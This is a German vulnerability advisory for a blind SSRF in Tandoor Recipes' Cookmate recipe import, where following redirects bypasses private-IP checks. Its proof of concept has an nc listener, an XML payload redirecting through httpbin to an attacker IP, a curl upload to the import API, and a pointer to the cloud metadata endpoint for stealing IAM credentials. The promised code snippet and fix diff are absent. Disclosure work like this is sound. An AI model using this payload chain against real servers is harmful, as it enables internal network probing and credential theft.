CVE-2026-25991: Blind SSRF mit internem Netzwerkzugriff über Rezept-Import

Zusammenfassung

Ich habe eine Blind Server-Side Request Forgery (SSRF)-Schwachstelle in der Cookmate-Rezeptimport-Funktion von Tandoor Recipes entdeckt. Die Anwendung validiert die Ziel-URL nach dem Folgen von HTTP-Weiterleitungen nicht, wodurch jeder authentifizierte Benutzer (einschließlich Standardbenutzer ohne Administratorrechte) den Server dazu zwingen kann, sich mit beliebigen internen oder externen Ressourcen zu verbinden.

Diese Schwachstelle kann genutzt werden, um interne Netzwerkports zu scannen, auf Cloud-Instanz-Metadaten zuzugreifen (z. B. AWS/GCP-Metadatendienst) oder die echte IP-Adresse des Servers offenzulegen.

Details

Die Schwachstelle liegt in cookbook/integration/cookmate.py, innerhalb der Cookmate-Integrationsklasse.

1. Anfängliche Logik: Bei der Verarbeitung einer importierten XML-Datei extrahiert die Anwendung das Feld imageurl.
2. Anfängliche Prüfung: Die URL wird mit der Hilfsfunktion validate_import_url (in cookbook/helper/HelperFunctions.py) validiert, die private IP-Bereiche (z. B. 127.0.0.1, 10.0.0.0/8) korrekt blockiert.
3. Der Bypass (verwundbarer Code): Unmittelbar nach der Validierung verwendet der Code jedoch requests.get(url), um das Bild herunterzuladen. Standardmäßig folgt die requests-Bibliothek Weiterleitungen (allow_redirects=True). Die Funktion validate_import_url prüft nur die ursprüngliche URL, validiert aber nicht das endgültige Ziel nach einer Weiterleitung.

Verwundbarer Code-Ausschnitt (cookbook/integration/cookmate.py:73):

Ein Angreifer kann einen externen Dienst (wie httpbin.org) verwenden, um die Anfrage auf eine eingeschränkte interne Adresse umzuleiten (z. B. http://127.0.0.1:80/ oder http://169.254.169.254/).

Entscheidend ist, dass die AppImportView (cookbook/views/api.py) explizit CustomIsUser-Berechtigungen zulässt, was bedeutet, dass JEDER registrierte Benutzer diese Schwachstelle auslösen kann. Es sind keine besonderen Administratorrechte erforderlich.

PoC (Proof of Concept)

Voraussetzungen:

1. Ein Standard-Benutzerkonto (kein Admin) auf der Tandoor-Instanz.
2. Lokal installiertes Python (oder ein beliebiges HTTP-Listening-Tool wie nc).

Schritte zur Reproduktion:

1. Listener einrichten (Angreifer-Maschine): Öffnen Sie ein Terminal und starten Sie nc, um auf eingehende Verbindungen zu lauschen. Dies simuliert einen internen Dienst oder einen vom Angreifer kontrollierten Server.

   root@kitploit:~

   nc -lvnp 9999
   

2. Bösartiges XML-Payload erstellen: Erstellen Sie eine Datei mit dem Namen payload.xml. Ersetzen Sie <YOUR_IP> durch Ihre öffentliche IP-Adresse (oder eine erreichbare IP). Dieses Payload verwendet httpbin.org, um die anfängliche Prüfung privater IPs zu umgehen und auf Ihren Listener umzuleiten.

   root@kitploit:~

   <recipes>
     <recipe>
       <title>SSRF_PoC</title>
       <!-- Weiterleitung auf internen Dienst oder Listener des Angreifers -->
       <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
     </recipe>
   </recipes>
   

3. ZIP-Archiv erstellen: Tandoor erfordert, dass die XML-Datei in einer ZIP-Datei enthalten ist.

   root@kitploit:~

   zip payload.zip payload.xml
   

4. Exploit ausführen (über API): Melden Sie sich als Standardbenutzer (nicht Admin) an, um das Session-Cookie und das CSRF-Token zu erhalten. Senden Sie dann eine POST-Anfrage an /api/import/: (Ersetzen Sie <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> durch tatsächliche Werte)

   root@kitploit:~

   curl -X POST 'http://<TARGET_URL>/api/import/' \
     -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
     -H 'X-CSRFToken: <CSRF_TOKEN>' \
     -F 'type=COOKMATE' \
     -F '[email protected]' \
     -F 'duplicates=true'
   

5. Verbindung verifizieren: Überprüfen Sie Ihr Listener-Terminal (nc). Sie sehen eine eingehende HTTP-GET-Anfrage vom Tandoor-Server. Dies bestätigt, dass der Server im Namen eines Standardbenutzers eine Verbindung zu einer beliebigen externen/internen Ressource hergestellt hat.
   root@kitploit:~

   GET /secret.txt HTTP/1.1
   Host: <YOUR_IP>:9999
   User-Agent: python-requests/2.x.x
   ...
   

Auswirkungen

• Internes Netzwerk-Scanning: Angreifer können interne Ports abfragen, um laufende Dienste zu entdecken.
• Cloud-Metadaten-Leck: Bei Bereitstellung auf AWS/GCP/Azure können Angreifer auf die Instanz-Metadaten zugreifen (z. B. http://169.254.169.254/latest/meta-data/), um IAM-Anmeldeinformationen zu stehlen, was zu einer vollständigen Kompromittierung der Infrastruktur führt.
• Schweregrad: Hoch (CVSS ~8.0), da nur geringe Berechtigungen (Standardbenutzer) erforderlich sind und dies zu erheblichen Auswirkungen führen kann (Metadatenzugriff/internes Scanning).

Behebung

Deaktivieren Sie das automatische Folgen von Weiterleitungen im requests.get-Aufruf oder implementieren Sie eine strenge Validierung für Weiterleitungs-URLs.

Diff (vorgeschlagener Fix):